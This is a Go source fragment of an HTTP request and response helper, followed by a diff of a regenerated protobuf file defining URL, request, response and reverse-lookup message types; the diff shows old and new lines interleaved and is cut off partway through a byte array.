if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
+402 -236
View File
@@ -1,354 +1,520 @@
//go:generate protoc --go_out=. http.proto
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.3
// source: http.proto
package lib
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (x *UrlType) Reset() {
*x = UrlType{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *UrlType) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*UrlType) ProtoMessage() {}
func (x *UrlType) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
return file_http_proto_rawDescGZIP(), []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
func (x *UrlType) GetScheme() string {
if x != nil {
return x.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
func (x *UrlType) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
func (x *UrlType) GetHost() string {
if x != nil {
return x.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
func (x *UrlType) GetPort() string {
if x != nil {
return x.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
func (x *UrlType) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
func (x *UrlType) GetQuery() string {
if x != nil {
return x.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
func (x *UrlType) GetFragment() string {
if x != nil {
return x.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
return file_http_proto_rawDescGZIP(), []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
func (x *Request) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
func (x *Request) GetMethod() string {
if x != nil {
return x.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
func (x *Request) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
func (x *Request) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
func (x *Request) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
return file_http_proto_rawDescGZIP(), []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
func (x *Response) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
func (x *Response) GetStatus() int32 {
if x != nil {
return x.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
func (x *Response) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
func (x *Response) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
func (x *Response) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
func (x *Response) GetDuration() float64 {
if x != nil {
return x.Duration
}
return 0
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (x *Reverse) Reset() {
*x = Reverse{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Reverse) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Reverse) ProtoMessage() {}
func (x *Reverse) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
return file_http_proto_rawDescGZIP(), []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
func (x *Reverse) GetUrl() string {
if x != nil {
return x.Url
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
func (x *Reverse) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
func (x *Reverse) GetIp() string {
if x != nil {
return x.Ip
}
return ""
}
func (x *Reverse) GetIsDomainNameServer() bool {
if x != nil {
return x.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
var File_http_proto protoreflect.FileDescriptor
var file_http_proto_rawDesc = []byte{
0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
var (
file_http_proto_rawDescOnce sync.Once
file_http_proto_rawDescData = file_http_proto_rawDesc
)
func file_http_proto_rawDescGZIP() []byte {
file_http_proto_rawDescOnce.Do(func() {
file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
})
return file_http_proto_rawDescData
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
